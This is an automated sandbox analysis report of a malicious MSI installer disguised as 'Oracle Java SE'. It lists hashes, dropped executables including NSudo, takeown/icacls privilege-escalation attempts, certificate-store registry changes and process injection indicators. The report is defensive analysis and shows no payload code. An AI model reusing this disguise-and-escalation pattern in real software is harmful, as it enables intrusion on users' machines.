02f79fab5c5cec65fcbd8ad039537afbe7badc815d55e63d031ae527f4a7bbd5

Analysis

max time kernel
106s
max time network
126s
platform
windows10_x64
resource
win10v20210408
submitted
24/06/2021, 00:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
938b2e065955369403bd5ed78c063b44.msi
Size 4.3MB
Sample210624-cedwdgmhee
SHA256 02f79fab5c5cec65fcbd8ad039537afbe7badc815d55e63d031ae527f4a7bbd5
MD5 938b2e065955369403bd5ed78c063b44
SHA1 1e98ff12a5f4a390bbceae538e1177a65ad52dad
SHA512 159eccba99a0eefbaf078561527bae998202e893724205e0350f20e1c7fd09ccebcc757b433765d223bfcad650f91870e7e2b29031868112636f4061aa0afeb3
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	1096	msiexec.exe
11	1096	msiexec.exe
13	1096	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
1808	j_service.exe
4532	Register.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
3368	icacls.exe
1872	takeown.exe
904	icacls.exe

Loads dropped DLL 12 IoCs

pid	Process
2700	MsiExec.exe
1900	MsiExec.exe
1808	j_service.exe
1808	j_service.exe
1808	j_service.exe
1808	j_service.exe
1808	j_service.exe
1900	MsiExec.exe
4532	Register.exe
4532	Register.exe
1808	j_service.exe
1808	j_service.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1872	takeown.exe
904	icacls.exe
3368	icacls.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Drops file in Program Files directory 31 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libssl-1_1.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\msvcp140.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-utility-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-filesystem-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-environment-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-heap-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-multibyte-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-runtime-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-stdio-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\AccessibleHandler.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l2-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-processthreads-l1-1-1.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-synch-l1-2-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-conio-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-private-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcurl.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l1-2-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-string-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-time-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-timezone-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\NSudo.exe	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-locale-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-math-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcrypto-1_1.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-convert-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-process-l1-1-0.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140.dll	msiexec.exe
File created	C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-localization-l1-2-0.dll	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\f74599f.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B7FC664C-132B-401B-9170-ED3E538079BC}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI62D9.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{B7FC664C-132B-401B-9170-ED3E538079BC}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5DA7.tmp	msiexec.exe
File created	C:\Windows\Installer\f7459a1.msi	msiexec.exe
File created	C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico	msiexec.exe
File created	C:\Windows\Installer\f74599f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5D58.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI69FE.tmp	msiexec.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3028	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Modifies registry class 23 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductIcon = "C:\\Windows\\Installer\\{B7FC664C-132B-401B-9170-ED3E538079BC}\\Logo.ico"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\PackageName = "938b2e065955369403bd5ed78c063b44.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB\ProductFeature	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductName = "Oracle Java SE"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\PackageCode = "0F3EC1FE8AEFA504AA4C8350053D1A5C"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Version = "134217999"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188\C466CF7BB231B1041907DEE3350897CB	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2888	msiexec.exe
2888	msiexec.exe
3952	powershell.exe
2692	powershell.exe
2508	powershell.exe
2508	powershell.exe
3952	powershell.exe
2692	powershell.exe
3952	powershell.exe
2508	powershell.exe
2692	powershell.exe
4504	powershell.exe
4604	powershell.exe
4560	powershell.exe
4656	powershell.exe
4504	powershell.exe
4604	powershell.exe
4604	powershell.exe
4676	powershell.exe
4676	powershell.exe
4848	powershell.exe
4560	powershell.exe
4848	powershell.exe
4560	powershell.exe
4780	powershell.exe
4780	powershell.exe
4656	powershell.exe
4656	powershell.exe
4936	powershell.exe
4936	powershell.exe
4504	powershell.exe
4504	powershell.exe
4676	powershell.exe
5016	powershell.exe
5016	powershell.exe
4604	powershell.exe
5116	powershell.exe
5116	powershell.exe
4780	powershell.exe
1420	powershell.exe
1420	powershell.exe
4560	powershell.exe
4848	powershell.exe
4656	powershell.exe
4296	powershell.exe
4296	powershell.exe
4676	powershell.exe
4936	powershell.exe
2200	powershell.exe
2200	powershell.exe
5016	powershell.exe
4780	powershell.exe
5116	powershell.exe
4848	powershell.exe
4848	powershell.exe
1420	powershell.exe
4296	powershell.exe
4936	powershell.exe
2200	powershell.exe
5016	powershell.exe
5116	powershell.exe
1420	powershell.exe
4296	powershell.exe
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1096	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1096	msiexec.exe
Token: SeSecurityPrivilege	2888	msiexec.exe
Token: SeCreateTokenPrivilege	1096	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1096	msiexec.exe
Token: SeLockMemoryPrivilege	1096	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1096	msiexec.exe
Token: SeMachineAccountPrivilege	1096	msiexec.exe
Token: SeTcbPrivilege	1096	msiexec.exe
Token: SeSecurityPrivilege	1096	msiexec.exe
Token: SeTakeOwnershipPrivilege	1096	msiexec.exe
Token: SeLoadDriverPrivilege	1096	msiexec.exe
Token: SeSystemProfilePrivilege	1096	msiexec.exe
Token: SeSystemtimePrivilege	1096	msiexec.exe
Token: SeProfSingleProcessPrivilege	1096	msiexec.exe
Token: SeIncBasePriorityPrivilege	1096	msiexec.exe
Token: SeCreatePagefilePrivilege	1096	msiexec.exe
Token: SeCreatePermanentPrivilege	1096	msiexec.exe
Token: SeBackupPrivilege	1096	msiexec.exe
Token: SeRestorePrivilege	1096	msiexec.exe
Token: SeShutdownPrivilege	1096	msiexec.exe
Token: SeDebugPrivilege	1096	msiexec.exe
Token: SeAuditPrivilege	1096	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1096	msiexec.exe
Token: SeChangeNotifyPrivilege	1096	msiexec.exe
Token: SeRemoteShutdownPrivilege	1096	msiexec.exe
Token: SeUndockPrivilege	1096	msiexec.exe
Token: SeSyncAgentPrivilege	1096	msiexec.exe
Token: SeEnableDelegationPrivilege	1096	msiexec.exe
Token: SeManageVolumePrivilege	1096	msiexec.exe
Token: SeImpersonatePrivilege	1096	msiexec.exe
Token: SeCreateGlobalPrivilege	1096	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeShutdownPrivilege	1900	MsiExec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe
Token: SeTakeOwnershipPrivilege	2888	msiexec.exe
Token: SeRestorePrivilege	2888	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1096	msiexec.exe
1096	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4532	Register.exe
4532	Register.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2888 wrote to memory of 2700	2888	msiexec.exe	77
PID 2888 wrote to memory of 2700	2888	msiexec.exe	77
PID 2888 wrote to memory of 2700	2888	msiexec.exe	77
PID 2888 wrote to memory of 1900	2888	msiexec.exe	78
PID 2888 wrote to memory of 1900	2888	msiexec.exe	78
PID 2888 wrote to memory of 1900	2888	msiexec.exe	78
PID 1900 wrote to memory of 3512	1900	MsiExec.exe	80
PID 1900 wrote to memory of 3512	1900	MsiExec.exe	80
PID 1900 wrote to memory of 3512	1900	MsiExec.exe	80
PID 3512 wrote to memory of 1872	3512	cmd.exe	82
PID 3512 wrote to memory of 1872	3512	cmd.exe	82
PID 3512 wrote to memory of 1872	3512	cmd.exe	82
PID 3512 wrote to memory of 904	3512	cmd.exe	83
PID 3512 wrote to memory of 904	3512	cmd.exe	83
PID 3512 wrote to memory of 904	3512	cmd.exe	83
PID 3512 wrote to memory of 3028	3512	cmd.exe	84
PID 3512 wrote to memory of 3028	3512	cmd.exe	84
PID 3512 wrote to memory of 3028	3512	cmd.exe	84
PID 3512 wrote to memory of 3368	3512	cmd.exe	85
PID 3512 wrote to memory of 3368	3512	cmd.exe	85
PID 3512 wrote to memory of 3368	3512	cmd.exe	85
PID 3512 wrote to memory of 3952	3512	cmd.exe	86
PID 3512 wrote to memory of 3952	3512	cmd.exe	86
PID 3512 wrote to memory of 3952	3512	cmd.exe	86
PID 3512 wrote to memory of 2692	3512	cmd.exe	87
PID 3512 wrote to memory of 2692	3512	cmd.exe	87
PID 3512 wrote to memory of 2692	3512	cmd.exe	87
PID 3512 wrote to memory of 2512	3512	cmd.exe	88
PID 3512 wrote to memory of 2512	3512	cmd.exe	88
PID 3512 wrote to memory of 2512	3512	cmd.exe	88
PID 2512 wrote to memory of 2508	2512	cmd.exe	89
PID 2512 wrote to memory of 2508	2512	cmd.exe	89
PID 2512 wrote to memory of 2508	2512	cmd.exe	89
PID 3512 wrote to memory of 4504	3512	cmd.exe	92
PID 3512 wrote to memory of 4504	3512	cmd.exe	92
PID 3512 wrote to memory of 4504	3512	cmd.exe	92
PID 3512 wrote to memory of 4532	3512	cmd.exe	93
PID 3512 wrote to memory of 4532	3512	cmd.exe	93
PID 3512 wrote to memory of 4532	3512	cmd.exe	93
PID 3512 wrote to memory of 4560	3512	cmd.exe	94
PID 3512 wrote to memory of 4560	3512	cmd.exe	94
PID 3512 wrote to memory of 4560	3512	cmd.exe	94
PID 3512 wrote to memory of 4604	3512	cmd.exe	95
PID 3512 wrote to memory of 4604	3512	cmd.exe	95
PID 3512 wrote to memory of 4604	3512	cmd.exe	95
PID 3512 wrote to memory of 4656	3512	cmd.exe	96
PID 3512 wrote to memory of 4656	3512	cmd.exe	96
PID 3512 wrote to memory of 4656	3512	cmd.exe	96
PID 3512 wrote to memory of 4676	3512	cmd.exe	97
PID 3512 wrote to memory of 4676	3512	cmd.exe	97
PID 3512 wrote to memory of 4676	3512	cmd.exe	97
PID 3512 wrote to memory of 4780	3512	cmd.exe	98
PID 3512 wrote to memory of 4780	3512	cmd.exe	98
PID 3512 wrote to memory of 4780	3512	cmd.exe	98
PID 3512 wrote to memory of 4848	3512	cmd.exe	99
PID 3512 wrote to memory of 4848	3512	cmd.exe	99
PID 3512 wrote to memory of 4848	3512	cmd.exe	99
PID 3512 wrote to memory of 4936	3512	cmd.exe	100
PID 3512 wrote to memory of 4936	3512	cmd.exe	100
PID 3512 wrote to memory of 4936	3512	cmd.exe	100
PID 3512 wrote to memory of 5016	3512	cmd.exe	101
PID 3512 wrote to memory of 5016	3512	cmd.exe	101
PID 3512 wrote to memory of 5016	3512	cmd.exe	101
PID 3512 wrote to memory of 5116	3512	cmd.exe	103

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\938b2e065955369403bd5ed78c063b44.msi
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
